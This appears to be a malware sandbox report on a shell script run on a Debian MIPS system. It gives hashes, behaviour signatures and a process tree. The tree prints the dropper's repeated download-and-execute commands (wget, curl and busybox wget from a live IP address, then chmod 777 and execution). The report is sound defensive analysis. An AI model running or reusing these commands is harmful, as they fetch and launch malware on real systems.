7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436

Analysis

max time kernel
53s
max time network
54s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
16/11/2024, 08:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436.sh
Size 10KB
Sample241116-kh9efstakf
SHA256 7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436
MD5 bb2b3973ae498e624d82f41d1755eac9
SHA1 0b16ecd9dae8a3e2aaeb5c55e07ad2755c26c9d6
SHA512 af5569dbeb4913d9c19af37799a6f96d31dcc88eb4e0a1d8be442129bda38ca89c0d232207fe8a9717bba27af0fdcfe1dde8489a2c2ae89346c06f32a32af9fd
SSDEEP 192:mq2TptpVpCDnF7lNWE7OCy7v7sG6LXDVQlN0477LLLL7LQfPpV95ZgZQZtuyBjnL:lLm8H47fPDQfPqO4fPDQfPEK
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
886	chmod
898	chmod
877	chmod
910	chmod
940	chmod
946	chmod
958	chmod
816	chmod
928	chmod
952	chmod
976	chmod
982	chmod
871	chmod
934	chmod
970	chmod
740	chmod
892	chmod
916	chmod
922	chmod
904	chmod
964	chmod
748	chmod
770	chmod
792	chmod
823	chmod
830	chmod
754	chmod
855	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN	curl
File opened for modification	/tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ	curl
File opened for modification	/tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq	curl
File opened for modification	/tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM	curl
File opened for modification	/tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk	curl
File opened for modification	/tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT	curl
File opened for modification	/tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq	curl
File opened for modification	/tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ	curl
File opened for modification	/tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et	curl
File opened for modification	/tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT	curl
File opened for modification	/tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et	curl
File opened for modification	/tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN	curl
File opened for modification	/tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG	curl
File opened for modification	/tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0	curl
File opened for modification	/tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG	curl
File opened for modification	/tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx	curl
File opened for modification	/tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0	curl
File opened for modification	/tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5	curl
File opened for modification	/tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk	curl
File opened for modification	/tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC	curl
File opened for modification	/tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi	curl
File opened for modification	/tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx	curl
File opened for modification	/tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO	curl
File opened for modification	/tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC	curl
File opened for modification	/tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi	curl
File opened for modification	/tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5	curl
File opened for modification	/tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM	curl
File opened for modification	/tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO	curl

/tmp/7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436.sh
/tmp/7314d78e5ebea2c7b5b5c2649fcb9acd8722a17225af35e04c13a29a172ed436.sh
1⤵
PID:710
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:714
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:736
- /bin/chmod
  chmod 777 YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  ./YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:747
- /bin/chmod
  chmod 777 MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  ./MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:750
- /usr/bin/wget
  wget http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:751
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:753
- /bin/chmod
  chmod 777 GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  ./GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:756
- /usr/bin/wget
  wget http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:766
- /bin/chmod
  chmod 777 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  ./9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:774
- /usr/bin/wget
  wget http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:775
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:789
- /bin/chmod
  chmod 777 m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  ./m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - Executes dropped EXE
  PID:793
- /bin/rm
  rm m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:796
- /usr/bin/wget
  wget http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:797
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:814
- /bin/chmod
  chmod 777 SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  ./SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:819
- /usr/bin/wget
  wget http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:822
- /bin/chmod
  chmod 777 Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  ./Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - Executes dropped EXE
  PID:824
- /bin/rm
  rm Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:825
- /usr/bin/wget
  wget http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:828
- /bin/chmod
  chmod 777 Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  ./Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - Executes dropped EXE
  PID:832
- /bin/rm
  rm Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:835
- /usr/bin/wget
  wget http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:836
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:852
- /bin/chmod
  chmod 777 wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  ./wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:860
- /usr/bin/wget
  wget http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:870
- /bin/chmod
  chmod 777 nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  ./nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:873
- /usr/bin/wget
  wget http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:876
- /bin/chmod
  chmod 777 71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  ./71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm 71Db38cEvkajFlnK1gHXyz3ygEYZwz23a0
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:885
- /bin/chmod
  chmod 777 0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  ./0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm 0IAMPxG72jZBPPstgKl6CSorEzBZjSeSxM
  2⤵
  PID:888
- /usr/bin/wget
  wget http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:891
- /bin/chmod
  chmod 777 2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  ./2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm 2xwIGtgqd4rYlJi3mSa6Ghg3KG2iv8IEYi
  2⤵
  PID:894
- /usr/bin/wget
  wget http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:897
- /bin/chmod
  chmod 777 VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  ./VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm VGFPcqrWhjGsVjz54lY4DNZEIbhv8ZTYmO
  2⤵
  PID:900
- /usr/bin/wget
  wget http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:903
- /bin/chmod
  chmod 777 GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  ./GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm GFUlKwE4R77oVCgEmQw7IZFrpX0J9FZuzN
  2⤵
  PID:906
- /usr/bin/wget
  wget http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:907
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:909
- /bin/chmod
  chmod 777 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  ./9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm 9nJ4hSKp8oO5dum4ZZJ2Vc3y6DS0jIj2s5
  2⤵
  PID:912
- /usr/bin/wget
  wget http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:915
- /bin/chmod
  chmod 777 YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  ./YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm YjauN6gwQrKzb7HXKKfE9BJdLpFUAwX7Fk
  2⤵
  PID:918
- /usr/bin/wget
  wget http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:921
- /bin/chmod
  chmod 777 MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  ./MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm MUzusPSSDm4Ai9PMJX8AYboPCo7Ld0yluq
  2⤵
  PID:924
- /usr/bin/wget
  wget http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:925
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:927
- /bin/chmod
  chmod 777 Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  ./Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm Bm4h3caVKyDA5Bz8TqQobYHfoTMcLTWOCJ
  2⤵
  PID:930
- /usr/bin/wget
  wget http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:931
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:933
- /bin/chmod
  chmod 777 wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  ./wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  - Executes dropped EXE
  PID:935
- /bin/rm
  rm wCH8gqywXaWdHNQTDUwygyJEMZ2VJDk0et
  2⤵
  PID:936
- /usr/bin/wget
  wget http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:937
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:939
- /bin/chmod
  chmod 777 nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  ./nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm nfraUgHtBkfZai2ugE6hCrM7VRZxAcIgrx
  2⤵
  PID:942
- /usr/bin/wget
  wget http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:945
- /bin/chmod
  chmod 777 m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  ./m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm m3dgKZcEAaJT5qe245RJ3OoUtmMhYOc3iG
  2⤵
  PID:948
- /usr/bin/wget
  wget http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:951
- /bin/chmod
  chmod 777 SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  ./SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm SdCfevLWi6WWbHZPwFL3T1FTRoizxPLTkT
  2⤵
  PID:954
- /usr/bin/wget
  wget http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:955
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  PID:957
- /bin/chmod
  chmod 777 Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  ./Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm Nu3PpET2ReTqta0GUI3JX6G9yXE3Ym6nlC
